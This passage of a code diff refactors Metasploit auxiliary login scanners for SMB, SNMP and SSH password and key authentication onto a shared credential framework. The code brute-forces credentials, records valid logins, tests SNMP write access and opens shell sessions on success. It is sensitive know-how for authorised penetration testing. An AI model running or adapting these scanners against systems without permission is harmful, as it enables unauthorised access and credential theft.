else - domain_part = " \\\\#{domain}" - end - output_message = "#{rhost}:#{rport}#{domain_part} - ".gsub('%', '%%') - output_message << "%s" - output_message << " (#{smb_peer_os}) #{user} : #{pass} [#{status}]".gsub('%', '%%') - - case status - when 'STATUS_SUCCESS', :admin_access, :not_admin - # Auth user indicates if the login was as a guest or not - if(simple.client.auth_user) - print_good(output_message % "SUCCESSFUL LOGIN") - validuser_case_sensitive?(domain, user, pass) - report_creds(domain,user,pass,true) - else - if datastore['RECORD_GUEST'] - print_status(output_message % "GUEST LOGIN") - report_creds(domain,user,pass,true) - elsif datastore['VERBOSE'] - print_status(output_message % "GUEST LOGIN") - end - end - - return :next_user - - when *@correct_credentials_status_codes - print_status(output_message % "FAILED LOGIN, VALID CREDENTIALS" ) - report_creds(domain,user,pass,false) - validuser_case_sensitive?(domain, user, pass) - return :skip_user - - when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED' - vprint_error(output_message % "FAILED LOGIN") - else - vprint_error(output_message % "FAILED LOGIN") - end - end - - def validuser_case_sensitive?(domain, user, pass) - if user == user.downcase - user = user.upcase - else - user = user.downcase - end - - status = check_login_status(domain, user, pass) - case_insensitive = valid_credentials?(status) - if case_insensitive - vprint_status("Username is case insensitive") - end - - return case_insensitive - end - - def note_creds(domain,user,pass,reason) - report_note( - :host => rhost, - :proto => 'tcp', - :sname => 'smb', - :port => datastore['RPORT'], - :type => 'smb.account.info', - :data => {:user => user, :pass => pass, :status => reason}, - :update => :unique_data + def accepts_bogus_domains?(user, pass) + bogus_domain = @scanner.attempt_login( + Metasploit::Framework::Credential.new( + public: user, + private: pass, + realm: Rex::Text.rand_text_alpha(8) + ) ) + + return bogus_domain.success? end - def report_creds(domain,user,pass,active) - login_name = "" - - if accepts_bogus_domains?(user,pass,rhost) || domain.blank? - login_name = user - else - login_name = "#{domain}\\#{user}" + def report_creds(ip, port, result) + if !datastore['RECORD_GUEST'] + if result.access_level == Metasploit::Framework::LoginScanner::SMB::AccessLevels::GUEST + return + end end - report_hash = { - :host => rhost, - :port => datastore['RPORT'], - :sname => 'smb', - :user => login_name, - :pass => pass, - :source_type => "user_supplied", - :active => active + service_data = { + address: ip, + port: port, + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id } - if pass =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ - report_hash.merge!({:type => 'smb_hash'}) - else - report_hash.merge!({:type => 'password'}) + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + }.merge(service_data) + + if domain.present? + if accepts_bogus_domains?(result.credential.public, result.credential.private) + print_brute(:level => :vstatus, :ip => ip, :msg => "Domain is ignored for user #{result.credential.public}") + else + credential_data.merge!( + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: result.credential.realm + ) + end end - report_auth_info(report_hash) + + credential_core = create_credential(credential_data) + + login_data = { + access_level: result.access_level, + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status + }.merge(service_data) + + create_credential_login(login_data) end end diff --git a/modules/auxiliary/scanner/snmp/snmp_login.rb b/modules/auxiliary/scanner/snmp/snmp_login.rb index d16e1cfbe6..5f5e25ef66 100644 --- a/modules/auxiliary/scanner/snmp/snmp_login.rb +++ b/modules/auxiliary/scanner/snmp/snmp_login.rb @@ -5,8 +5,8 @@ require 'msf/core' -require 'openssl' -require 'snmp' +require 'metasploit/framework/community_string_collection' +require 'metasploit/framework/login_scanner/snmp' class Metasploit3 < Msf::Auxiliary @@ -49,260 +49,68 @@ class Metasploit3 < Msf::Auxiliary # Operate on an entire batch of hosts at once def run_batch(batch) - @found = {} - @tried = [] - - begin - udp_sock = nil - idx = 0 - - # Create an unbound UDP socket if no CHOST is specified, otherwise - # create a UDP socket bound to CHOST (in order to avail of pivoting) - udp_sock = Rex::Socket::Udp.create( { 'LocalHost' => datastore['CHOST'] || nil, 'Context' => {'Msf' => framework, 'MsfExploit' => self} }) - add_socket(udp_sock) - - each_user_pass do |user, pass| - comm = pass - - data1 = create_probe_snmp1(comm) - data2 = create_probe_snmp2(comm) - - batch.each do |ip| - fq_pass = [ip,pass] - next if @tried.include? fq_pass - @tried << fq_pass - vprint_status "#{ip}:#{datastore['RPORT']} - SNMP - Trying #{(pass.nil? || pass.empty?) ? "" : pass}..." - - begin - udp_sock.sendto(data1, ip, datastore['RPORT'].to_i, 0) - udp_sock.sendto(data2, ip, datastore['RPORT'].to_i, 0) - rescue ::Interrupt - raise $! - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused - nil - end - - if (idx % 10 == 0) - while (r = udp_sock.recvfrom(65535, 0.25) and r[1]) - parse_reply(r) - end - end - - idx += 1 - - end - end - - idx = 0 - while (r = udp_sock.recvfrom(65535, 3) and r[1] and idx < 500) - parse_reply(r) - idx += 1 - end - - if @found.keys.length > 0 - print_status("Validating scan results from #{@found.keys.length} hosts...") - end - - # Review all successful communities and determine write access - @found.keys.sort.each do |host| - fake_comm = Rex::Text.rand_text_alphanumeric(8) - anycomm_ro = false - anycomm_rw = false - comms_ro = [] - comms_rw = [] - finished = false - versions = ["1", "2"] - - versions.each do |version| - comms_todo = @found[host].keys.sort - comms_todo.unshift(fake_comm) - - comms_todo.each do |comm| - begin - sval = nil - snmp = snmp_client(host, datastore['RPORT'].to_i, version, udp_sock, comm) - resp = snmp.get("sysName.0") - resp.each_varbind { |var| sval = var.value } - next if not sval - - svar = ::SNMP::VarBind.new("1.3.6.1.2.1.1.5.0", ::SNMP::OctetString.new(sval)) - resp = snmp.set(svar) - - if resp.error_status == :noError - comms_rw << comm - print_status("Host #{host} provides READ-WRITE access with community '#{comm}'") - if comm == fake_comm - anycomm_rw = true - finished = true - break - end - else - comms_ro << comm - print_status("Host #{host} provides READ-ONLY access with community '#{comm}'") - if comm == fake_comm - anycomm_ro = true - finished = true - break - end - end - - # Used to flag whether this version was compatible - finished = true - - rescue ::SNMP::UnsupportedPduTag, ::SNMP::InvalidPduTag, ::SNMP::ParseError, - ::SNMP::InvalidErrorStatus, ::SNMP::InvalidTrapVarbind, ::SNMP::InvalidGenericTrap, - ::SNMP::BER::OutOfData, ::SNMP::BER::InvalidLength, ::SNMP::BER::InvalidTag, - ::SNMP::BER::InvalidObjectId, ::SNMP::MIB::ModuleNotLoadedError, - ::SNMP::UnsupportedValueTag - next - - rescue ::SNMP::UnsupportedVersion - break - rescue ::SNMP::RequestTimeout - next - end - end - - break if finished - end - - # Report on the results - comms_ro = ["anything"] if anycomm_ro - comms_rw = ["anything"] if anycomm_rw - - comms_rw.each do |comm| - report_auth_info( - :host => host, - :port => datastore['RPORT'].to_i, - :proto => 'udp', - :sname => 'snmp', - :user => '', - :pass => comm, - :duplicate_ok => true, - :active => true, - :source_type => "user_supplied", - :type => "password" - ) - end - - comms_ro.each do |comm| - report_auth_info( - :host => host, - :port => datastore['RPORT'].to_i, - :proto => 'udp', - :sname => 'snmp', - :user => '', - :pass => comm, - :duplicate_ok => true, - :active => true, - :source_type => "user_supplied", - :type => "password_ro" - ) - end - end - - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("Unknown error: #{e.class} #{e}") - end - - end - - # - # Allocate a SNMP client using the existing socket - # - def snmp_client(host, port, version, socket, community) - version = :SNMPv1 if version == "1" - version = :SNMPv2c if version == "2c" - - snmp = ::SNMP::Manager.new( - :Host => host, - :Port => port, - :Community => community, - :Version => version, - :Timeout => 1, - :Retries => 2, - :Transport => SNMP::RexUDPTransport, - :Socket => socket - ) - end - - # - # The response parsers - # - def parse_reply(pkt) - - return if not pkt[1] - - if(pkt[1] =~ /^::ffff:/) - pkt[1] = pkt[1].sub(/^::ffff:/, '') - end - - asn = OpenSSL::ASN1.decode(pkt[0]) rescue nil - return if not asn - - snmp_error = asn.value[0].value rescue nil - snmp_comm = asn.value[1].value rescue nil - snmp_data = asn.value[2].value[3].value[0] rescue nil - snmp_oid = snmp_data.value[0].value rescue nil - snmp_info = snmp_data.value[1].value rescue nil - - return if not (snmp_error and snmp_comm and snmp_data and snmp_oid and snmp_info) - snmp_info = snmp_info.to_s.gsub(/\s+/, ' ') - - inf = snmp_info - com = snmp_comm - - if(com) - @found[pkt[1]]||={} - if(not @found[pkt[1]][com]) - print_good("SNMP: #{pkt[1]} community string: '#{com}' info: '#{inf}'") - @found[pkt[1]][com] = inf - end - - report_service( - :host => pkt[1], - :port => pkt[2], - :proto => 'udp', - :name => 'snmp', - :info => inf, - :state => "open" + batch.each do |ip| + collection = Metasploit::Framework::CommunityStringCollection.new( + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'] ) + + scanner = Metasploit::Framework::LoginScanner::SNMP.new( + host: ip, + port: rport, + cred_details: collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 2 + ) + + service_data = { + address: ip, + port: rport, + service_name: 'snmp', + protocol: 'udp', + workspace_id: myworkspace_id + } + + scanner.scan! do |result| + if result.success? + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + username: result.credential.public + } + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + + create_credential_login(login_data) + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_data = { + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + } .merge(service_data) + invalidate_login(invalidate_data) + print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + end + end end end - - def create_probe_snmp1(name) - xid = rand(0x100000000) - pdu = - "\x02\x01\x00" + - "\x04" + [name.length].pack('c') + name + - "\xa0\x1c" + - "\x02\x04" + [xid].pack('N') + - "\x02\x01\x00" + - "\x02\x01\x00" + - "\x30\x0e\x30\x0c\x06\x08\x2b\x06\x01\x02\x01" + - "\x01\x01\x00\x05\x00" - head = "\x30" + [pdu.length].pack('C') - data = head + pdu - data + def rport + datastore['RPORT'] end - def create_probe_snmp2(name) - xid = rand(0x100000000) - pdu = - "\x02\x01\x01" + - "\x04" + [name.length].pack('c') + name + - "\xa1\x19" + - "\x02\x04" + [xid].pack('N') + - "\x02\x01\x00" + - "\x02\x01\x00" + - "\x30\x0b\x30\x09\x06\x05\x2b\x06\x01\x02\x01" + - "\x05\x00" - head = "\x30" + [pdu.length].pack('C') - data = head + pdu - data - end + + end diff --git a/modules/auxiliary/scanner/ssh/ssh_login.rb b/modules/auxiliary/scanner/ssh/ssh_login.rb index b08a3e55cb..9c7f83bd83 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login.rb @@ -5,6 +5,8 @@ require 'msf/core' require 'net/ssh' +require 'metasploit/framework/login_scanner/ssh' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary @@ -13,8 +15,6 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::CommandShell - attr_accessor :ssh_socket, :good_credentials - def initialize super( 'Name' => 'SSH Login Check Scanner', @@ -47,145 +47,147 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST') - @good_credentials = {} - end def rport datastore['RPORT'] end - def do_login(ip,user,pass,port) - opt_hash = { - :auth_methods => ['password','keyboard-interactive'], - :msframework => framework, - :msfmodule => self, - :port => port, - :disable_agent => true, - :password => pass, - :config => false, - :proxies => datastore['Proxies'] + def session_setup(result, ssh_socket) + return unless ssh_socket + + # Create a new session + conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true) + + merge_me = { + 'USERPASS_FILE' => nil, + 'USER_FILE' => nil, + 'PASS_FILE' => nil, + 'USERNAME' => result.credential.public, + 'PASSWORD' => result.credential.private } + info = "#{proto_from_fullname} #{result.credential} (#{@ip}:#{rport})" + s = start_session(self, info, merge_me, false, conn.lsock) - opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] - - begin - ::Timeout.timeout(datastore['SSH_TIMEOUT']) do - self.ssh_socket = Net::SSH.start( - ip, - user, - opt_hash - ) - end - rescue Rex::ConnectionError, Rex::AddressInUse - return :connection_error - rescue Net::SSH::Disconnect, ::EOFError - return :connection_disconnect - rescue ::Timeout::Error - return :connection_disconnect - rescue Net::SSH::Exception - return [:fail,nil] # For whatever reason. Can't tell if passwords are on/off without timing responses. + # Set the session platform + case result.proof + when /Linux/ + s.platform = "linux" + when /Darwin/ + s.platform = "osx" + when /SunOS/ + s.platform = "solaris" + when /BSD/ + s.platform = "bsd" + when /HP-UX/ + s.platform = "hpux" + when /AIX/ + s.platform = "aix" + when /Win32|Windows/ + s.platform = "windows" + when /Unknown command or computer name/ + s.platform = "cisco-ios" end - if self.ssh_socket - proof = '' - begin - Timeout.timeout(5) do - proof = self.ssh_socket.exec!("id\n").to_s - if(proof =~ /id=/) - proof << self.ssh_socket.exec!("uname -a\n").to_s - else - # Cisco IOS - if proof =~ /Unknown command or computer name/ - proof = self.ssh_socket.exec!("ver\n").to_s - else - proof << self.ssh_socket.exec!("help\n?\n\n\n").to_s - end - end - end - rescue ::Exception - end - - # Create a new session - conn = Net::SSH::CommandStream.new(self.ssh_socket, '/bin/sh', true) - - merge_me = { - 'USERPASS_FILE' => nil, - 'USER_FILE' => nil, - 'PASS_FILE' => nil, - 'USERNAME' => user, - 'PASSWORD' => pass - } - info = "#{proto_from_fullname} #{user}:#{pass} (#{ip}:#{port})" - s = start_session(self, info, merge_me, false, conn.lsock) - - # Set the session platform - case proof - when /Linux/ - s.platform = "linux" - when /Darwin/ - s.platform = "osx" - when /SunOS/ - s.platform = "solaris" - when /BSD/ - s.platform = "bsd" - when /HP-UX/ - s.platform = "hpux" - when /AIX/ - s.platform = "aix" - when /Win32|Windows/ - s.platform = "windows" - when /Unknown command or computer name/ - s.platform = "cisco-ios" - end - return [:success, proof] - else - return [:fail, nil] - end + s end - def do_report(ip,user,pass,port,proof) - report_auth_info( - :host => ip, - :port => rport, - :sname => 'ssh', - :user => user, - :pass => pass, - :proof => proof, - :source_type => "user_supplied", - :active => true - ) + def do_report(ip,port,result) + service_data = { + address: ip, + port: port, + service_name: 'ssh', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status + }.merge(service_data) + + create_credential_login(login_data) end def run_host(ip) + @ip = ip print_brute :ip => ip, :msg => "Starting bruteforce" - each_user_pass do |user, pass| - print_brute :level => :vstatus, - :ip => ip, - :msg => "Trying: username: '#{user}' with password: '#{pass}'" - this_attempt ||= 0 - ret = nil - while this_attempt <=3 and (ret.nil? or ret == :connection_error or ret == :connection_disconnect) - if this_attempt > 0 - select(nil,nil,nil,2**this_attempt) - print_brute :level => :verror, :ip => ip, :msg => "Retrying '#{user}':'#{pass}' due to connection error" - end - ret,proof = do_login(ip,user,pass,rport) - this_attempt += 1 - end - case ret - when :success - print_brute :level => :good, :ip => ip, :msg => "Success: '#{user}':'#{pass}' '#{proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" - do_report(ip,user,pass,rport,proof) + + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) + + scanner = Metasploit::Framework::LoginScanner::SSH.new( + host: ip, + port: rport, + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: datastore['SSH_TIMEOUT'], + ) + + scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" + do_report(ip,rport,result) + session_setup(result, scanner.ssh_socket) :next_user - when :connection_error + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) :abort - when :connection_disconnect - print_brute :level => :verror, :ip => ip, :msg => "Connection timed out" - :abort - when :fail - print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{user}':'#{pass}'" + when Metasploit::Model::Login::Status::INCORRECT + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? + else + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? end end end diff --git a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb index ea3e0fd261..f350a4bafc 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb @@ -5,6 +5,7 @@ require 'msf/core' require 'net/ssh' +require 'metasploit/framework/login_scanner/ssh' class Metasploit3 < Msf::Auxiliary @@ -13,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::CommandShell - attr_accessor :ssh_socket, :good_credentials, :good_key, :good_key_data + attr_accessor :ssh_socket, :good_key def initialize super( @@ -40,7 +41,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(22), - OptPath.new('KEY_FILE', [false, 'Filename of one or several cleartext private keys.']) + OptPath.new('KEY_PATH', [true, 'Filename or directory of cleartext private keys. Filenames beginning with a dot, or ending in ".pub" will be skipped.']), ], self.class ) @@ -48,14 +49,12 @@ class Metasploit3 < Msf::Auxiliary [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptString.new('SSH_KEYFILE_B64', [false, 'Raw data of an unencrypted SSH public key. This should be used by programmatic interfaces to this module only.', '']), - OptPath.new('KEY_DIR', [false, 'Directory of several cleartext private keys. Filenames must not begin with a dot, or end in ".pub" in order to be read.']), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) - deregister_options('RHOST','PASSWORD','PASS_FILE','BLANK_PASSWORDS','USER_AS_PASS') + deregister_options('RHOST','PASSWORD','PASS_FILE','BLANK_PASSWORDS','USER_AS_PASS','USERPASS_FILE') - @good_credentials = {} @good_key = '' @strip_passwords = true @@ -138,213 +137,226 @@ class Metasploit3 < Msf::Auxiliary return cleartext_keys end - def do_login(ip,user,port) - if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE']) - keys = read_keyfile(datastore['KEY_FILE']) - cleartext_keys = pull_cleartext_keys(keys) - msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user." - elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty? - keys = read_keyfile(:keyfile_b64) - cleartext_keys = pull_cleartext_keys(keys) - msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)." - elsif datastore['KEY_DIR'] - return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir)) - unless @key_files - @key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/ || f =~ /\x2epub$/} - end - these_keys = @key_files.map {|f| File.join(key_dir,f)} - keys = read_keyfile(these_keys) - cleartext_keys = pull_cleartext_keys(keys) - msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user." - else - return :missing_keyfile - end - unless @alerted_with_msg - print_status msg - @alerted_with_msg = true - end - cleartext_keys.each_with_index do |key_data,key_idx| - opt_hash = { - :auth_methods => ['publickey'], - :msframework => framework, - :msfmodule => self, - :port => port, - :key_data => key_data, - :disable_agent => true, - :config => false, - :record_auth_info => true, - :proxies => datastore['Proxies'] - } - opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] - begin - ::Timeout.timeout(datastore['SSH_TIMEOUT']) do - self.ssh_socket = Net::SSH.start( - ip, - user, - opt_hash - ) - end - rescue Rex::ConnectionError, Rex::AddressInUse - return :connection_error - rescue Net::SSH::Disconnect, ::EOFError - return :connection_disconnect - rescue ::Timeout::Error - return :connection_disconnect - rescue Net::SSH::AuthenticationFailed - # Try, try, again - if @key_files - vprint_error "#{ip}:#{rport} SSH - Failed authentication, trying key #{@key_files[key_idx+1]}" - else - vprint_error "#{ip}:#{rport} SSH - Failed authentication, trying key #{key_idx+1}" - end - next - rescue Net::SSH::Exception => e - return [:fail,nil] # For whatever reason. - end - break - end + def session_setup(result, ssh_socket) + return unless ssh_socket - if self.ssh_socket - self.good_key = self.ssh_socket.auth_info[:pubkey_id] - self.good_key_data = self.ssh_socket.options[:key_data] - proof = '' - begin - Timeout.timeout(5) do - proof = self.ssh_socket.exec!("id\n").to_s - if(proof =~ /id=/) - proof << self.ssh_socket.exec!("uname -a\n").to_s - else - # Cisco IOS - if proof =~ /Unknown command or computer name/ - proof = self.ssh_socket.exec!("ver\n").to_s - else - proof << self.ssh_socket.exec!("help\n?\n\n\n").to_s - end - end - end - rescue ::Exception - end + # Create a new session from the socket + conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true) - # Create a new session from the socket, then dump it. - conn = Net::SSH::CommandStream.new(self.ssh_socket, '/bin/sh', true) - self.ssh_socket = nil - - # Clean up the stored data - need to stash the keyfile into - # a datastore for later reuse. - merge_me = { - 'USERPASS_FILE' => nil, - 'USER_FILE' => nil, - 'PASS_FILE' => nil, - 'USERNAME' => user - } - if datastore['KEY_FILE'] and !datastore['KEY_FILE'].empty? - keyfile = File.open(datastore['KEY_FILE'], "rb") {|f| f.read(f.stat.size)} - merge_me.merge!( - 'SSH_KEYFILE_B64' => [keyfile].pack("m*").gsub("\n",""), - 'KEY_FILE' => nil - ) - end - - s = start_session(self, "SSH #{user}:#{self.good_key} (#{ip}:#{port})", merge_me, false, conn.lsock) - - # Set the session platform - case proof - when /Linux/ - s.platform = "linux" - when /Darwin/ - s.platform = "osx" - when /SunOS/ - s.platform = "solaris" - when /BSD/ - s.platform = "bsd" - when /HP-UX/ - s.platform = "hpux" - when /AIX/ - s.platform = "aix" - when /Win32|Windows/ - s.platform = "windows" - when /Unknown command or computer name/ - s.platform = "cisco-ios" - end - - return [:success, proof] - else - return [:fail, nil] - end - end - - def do_report(ip, port, user, proof) - return unless framework.db.active - keyfile_path = store_keyfile(ip,user,self.good_key,self.good_key_data) - cred_hash = { - :host => ip, - :port => datastore['RPORT'], - :sname => 'ssh', - :user => user, - :pass => keyfile_path, - :type => "ssh_key", - :proof => "KEY=#{self.good_key}, PROOF=#{proof}", - :duplicate_ok => true, - :active => true + # Clean up the stored data - need to stash the keyfile into + # a datastore for later reuse. + merge_me = { + 'USERPASS_FILE' => nil, + 'USER_FILE' => nil, + 'PASS_FILE' => nil, + 'USERNAME' => result.credential.public, + 'SSH_KEYFILE_B64' => [result.credential.private].pack("m*").gsub("\n",""), + 'KEY_PATH' => nil } - this_cred = report_auth_info(cred_hash) - end - def existing_loot(ltype, key_id) - framework.db.loots(myworkspace).find_all_by_ltype(ltype).select {|l| l.info == key_id}.first - end + info = "SSH #{result.credential.public}:#{ssh_socket.auth_info[:pubkey_id]} (#{ip}:#{rport})" + s = start_session(self, info, merge_me, false, conn.lsock) - def store_keyfile(ip,user,key_id,key_data) - safe_username = user.gsub(/[^A-Za-z0-9]/,"_") - case key_data - when /BEGIN RSA PRIVATE/m - ktype = "rsa" - when /BEGIN DSA PRIVATE/m - ktype = "dsa" - else - ktype = nil + # Set the session platform + case result.proof + when /Linux/ + s.platform = "linux" + when /Darwin/ + s.platform = "osx" + when /SunOS/ + s.platform = "solaris" + when /BSD/ + s.platform = "bsd" + when /HP-UX/ + s.platform = "hpux" + when /AIX/ + s.platform = "aix" + when /Win32|Windows/ + s.platform = "windows" + when /Unknown command or computer name/ + s.platform = "cisco-ios" end - return unless ktype - ltype = "host.unix.ssh.#{user}_#{ktype}_private" - keyfile = existing_loot(ltype, key_id) - return keyfile.path if keyfile - keyfile_path = store_loot( - ltype, - "application/octet-stream", # Text, but always want to mime-type attach it - ip, - (key_data + "\n"), - "#{safe_username}_#{ktype}.key", - key_id - ) - return keyfile_path + + s + end + + def do_report(ip, port, result) + service_data = { + address: ip, + port: port, + service_name: 'ssh', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credentail_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :ssh_key, + username: result.credential.public, + }.merge(service_data) + + credential_core = create_credential(credentail_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status, + }.merge(service_data) + + create_credential_login(login_data) end def run_host(ip) print_status("#{ip}:#{rport} SSH - Testing Cleartext Keys") - # Since SSH collects keys and tries them all on one authentication session, it doesn't - # make sense to iteratively go through all the keys individually. So, ignore the pass variable, - # and try all available keys for all users. - each_user_pass do |user,pass| - ret,proof = do_login(ip,user,rport) - case ret - when :success - print_brute :level => :good, :msg => "Success: '#{user}':'#{self.good_key}' '#{proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" - do_report(ip, rport, user, proof) - :next_user - when :connection_error - vprint_error "#{ip}:#{rport} SSH - Could not connect" - :abort - when :connection_disconnect - vprint_error "#{ip}:#{rport} SSH - Connection timed out" - :abort - when :fail - vprint_error "#{ip}:#{rport} SSH - Failed: '#{user}'" - when :missing_keyfile - vprint_error "#{ip}:#{rport} SSH - Cannot read keyfile." - when :no_valid_keys - vprint_error "#{ip}:#{rport} SSH - No cleartext keys in keyfile." - end + + if datastore["USER_FILE"].blank? && datastore["USERNAME"].blank? + # Ghetto abuse of the way OptionValidateError expects an array of + # option names instead of a string message like every sane + # subclass of Exception. + raise OptionValidateError, ["At least one of USER_FILE or USERNAME must be given"] end + + keys = KeyCollection.new( + key_path: datastore['KEY_PATH'], + user_file: datastore['USER_FILE'], + username: datastore['USERNAME'], + ) + + print_brute :level => :vstatus, :ip => ip, :msg => "Testing #{keys.key_data.count} keys" + scanner = Metasploit::Framework::LoginScanner::SSH.new( + host: ip, + port: rport, + cred_details: keys, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: datastore['SSH_TIMEOUT'], + ) + + scanner.scan! do |result| + + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential.public}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" + do_report(ip,rport,result) + session_setup(result, scanner.ssh_socket) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? + :abort + when Metasploit::Model::Login::Status::INCORRECT + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? + else + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? + end + + end + end + class KeyCollection + attr_accessor :key_data + + def initialize(opts={}) + @username = opts[:username] + @user_file = opts[:user_file] + @key_path = opts.fetch(:key_path) + + valid! + end + + def realm + nil + end + + def valid! + @key_data = Set.new + if File.directory?(@key_path) + @key_files ||= Dir.entries(@key_path).reject { |f| f =~ /^\x2e|\x2epub$/ } + @key_files.each do |f| + data = read_key(File.join(@key_path, f)) + @key_data << data if valid_key?(data) + end + elsif File.file?(@key_path) + data = read_key(@key_path) + @key_data << data if valid_key?(data) + else + raise RuntimeError, "No key path" + end + end + + def valid_key?(key_data) + !!(key_data.match(/BEGIN [RD]SA PRIVATE KEY/) && !key_data.match(/Proc-Type:.*ENCRYPTED/)) + end + + def each + if @user_file.present? + File.open(@user_file, 'rb') do |user_fd| + user_fd.each_line do |user_from_file| + user_from_file.chomp! + each_key do |key_data| + yield Metasploit::Framework::Credential.new(public: user_from_file, private: key_data, realm: realm, private_type: :ssh_key) + end + end + end + end + + if @username.present? + each_key do |key_data| + yield Metasploit::Framework::Credential.new(public: @username, 